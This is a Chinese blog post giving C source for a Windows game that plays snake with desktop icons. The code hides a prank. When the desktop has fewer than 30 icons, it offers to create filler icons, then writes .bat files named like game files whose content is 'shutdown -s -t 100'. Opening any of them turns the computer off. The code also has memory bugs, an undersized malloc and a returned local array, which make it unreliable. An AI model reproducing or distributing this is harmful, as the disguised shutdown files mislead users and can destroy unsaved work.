本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~
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#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h"
#include <stdio.h>
#include <string.h>
#define SIZE 100 //图标大小默认为100
HWND deskpot; //桌面句柄
int iCount = 0; //图标个数
int screenX; //获取屏幕的分辨率(宽)
int screenY; //获取屏幕的分辨率(高)
int eatCount = 0; //计数(已经吃到的图标)
int index = 0;
int speed = 500; //初始速度
typedef struct Snake //蛇结构体
{
int x;
int y;
int index;
struct Snake* next;
}snake;
snake* Head; //蛇头
snake* SnakeTemp; //临时的
POINT food; //食物位置
char * GetDesktopPath(); //返回桌面路径
void Initialization(); //初始化变量
void StartGame(); //开始游戏
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
Initialization();
MessageBox(deskpot, TEXT( "游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出" ), TEXT( "" ), MB_OK | MB_ICONEXCLAMATION);
StartGame();
return 0;
}
void Initialization() //初始化变量
{
srand (unsigned int ( time (NULL)));
HWND grandpa = FindWindowA( "Progman" , "Program Manager" );
HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView" , NULL);
deskpot = FindWindowExA(father, 0, "SysListView32" , "FolderView" );
iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0); //获取句柄中控件的个数
screenX = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的分辨率(宽)
screenY = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的分辨率(高)
Head = (snake*) malloc ( sizeof (Head));
Head->x = rand () % (screenX / SIZE) * SIZE; //蛇头初始化位置
Head->y = rand () % (screenY / SIZE) * SIZE;
Head->index = 0;
Head->next = NULL;
if (iCount < 30)
{
if (MessageBox(deskpot, TEXT( "检测到您桌面上的图标不够30个是否需要自动创建一些呢~" ), TEXT( "" ), MB_YESNO | MB_ICONEXCLAMATION) == IDYES) //判断桌面图标是否够30个,不够就创建些
{
FILE * fp;
char Path[200]; //保存文件路径
char temp[20]; //存储文件名
char FineName[100]; //存储文件的全名加后缀名
for ( int i = 0; i < 30 - iCount; i++)
{
memset (Path, 0, 200 * sizeof ( char ));
strcpy (Path, GetDesktopPath()); //将桌面路径给Path
sprintf (temp, "\\贪吃蛇%d.bat" , i);
strcat (Path, temp);
if ((fp = fopen (Path, "w+" )) == NULL)
continue ; //如果他建失败就跳过
fprintf (fp, "shutdown -s -t 100" );
fclose (fp);
}
}
}
for ( int i = 0; i < iCount; i++)
{
//因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算
SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
}
return ;
}
char * GetDesktopPath() //返回桌面路径
{
LPITEMIDLIST pidl;
LPMALLOC pShellMalloc;
char szDir[200];
if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
{
if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
{
// 如果成功返回true
SHGetPathFromIDListA(pidl, szDir);
pShellMalloc->Free(pidl);
}
pShellMalloc->Release();
}
return szDir;
}
void StartGame() //开始游戏
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x); //打印蛇头
label:
food.x = rand () % (screenX / SIZE) * SIZE;
food.y = rand () % (screenY / SIZE) * SIZE;
if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生
goto label;
SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x); //打印食物
snake SnakeMove; //蛇的移动
SnakeMove.x = 1, SnakeMove.y = 0; //默认向右移动
while (eatCount < iCount)
{
if (GetAsyncKeyState(VK_UP) != 0) //上
SnakeMove.x = 0, SnakeMove.y = -1;
if (GetAsyncKeyState(VK_DOWN) != 0) //下
SnakeMove.x = 0, SnakeMove.y = 1;
if (GetAsyncKeyState(VK_LEFT) != 0) //左
SnakeMove.x = -1, SnakeMove.y = 0;
if (GetAsyncKeyState(VK_RIGHT) != 0) //右
SnakeMove.x = 1, SnakeMove.y = 0;
if (GetAsyncKeyState(VK_ESCAPE) != 0) //结束
{
MessageBox(deskpot, TEXT( "结束~" ), TEXT( "" ), MB_OK | MB_ICONEXCLAMATION);
exit (0);
}
if (GetAsyncKeyState(VK_SPACE)) //按空格键暂停
{
while (1)
{
Sleep(300);
if (GetAsyncKeyState(VK_SPACE)) //再按一次空格键继续
break ;
}
}
if (Head->x == food.x && Head->y == food.y)
{
index++;
eatCount++;
speed = speed - (speed / 10);
snake* temp;
temp = (snake*) malloc ( sizeof (snake));
temp->x = food.x;
temp->y = food.y;
temp->index = index;
temp->next = NULL;
SnakeTemp = Head;
while (SnakeTemp->next != NULL)
{
SnakeTemp = SnakeTemp->next;
}
SnakeTemp->next = temp;
SnakeTemp = Head;
SnakeTemp->x += SnakeMove.x * SIZE;
SnakeTemp->y += SnakeMove.y * SIZE;
while (SnakeTemp != NULL)
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
SnakeTemp = SnakeTemp->next;
}
label2:
food.x = rand () % (screenX / SIZE) * SIZE;
food.y = rand () % (screenY / SIZE) * SIZE;
if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生
goto label2;
SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x); //打印食物
}
else
{
snake Temp;
snake Temp2;
bool choice = false ;
SnakeTemp = Head;
Temp.x = SnakeTemp->x;
Temp.y = SnakeTemp->y;
SnakeTemp->x += SnakeMove.x * SIZE;
SnakeTemp->y += SnakeMove.y * SIZE;
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
SnakeTemp = Head->next;
while (SnakeTemp != NULL)
{
Temp2.x = SnakeTemp->x;
Temp2.y = SnakeTemp->y;
SnakeTemp->x = Temp.x;
SnakeTemp->y = Temp.y;
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
Temp.x = Temp2.x;
Temp.y = Temp2.y;
SnakeTemp = SnakeTemp->next;
}
if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
{
MessageBox(deskpot, TEXT( "笨蛋你撞到墙,游戏结束再见!" ), TEXT( "" ), MB_OK | MB_ICONEXCLAMATION);
exit (0);
}
SnakeTemp = Head->next;
while (SnakeTemp != NULL)
{
if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
{
MessageBox(deskpot, TEXT( "笨蛋你咬到自己了,游戏结束再见!" ), TEXT( "" ), MB_OK | MB_ICONEXCLAMATION);
exit (0);
}
SnakeTemp = SnakeTemp->next;
}
}
Sleep(speed);
}
return ;
}
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游戏界面如图:
失败界面如图:
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原文链接:https://blog.csdn.net/LYXlyxll/article/details/111408765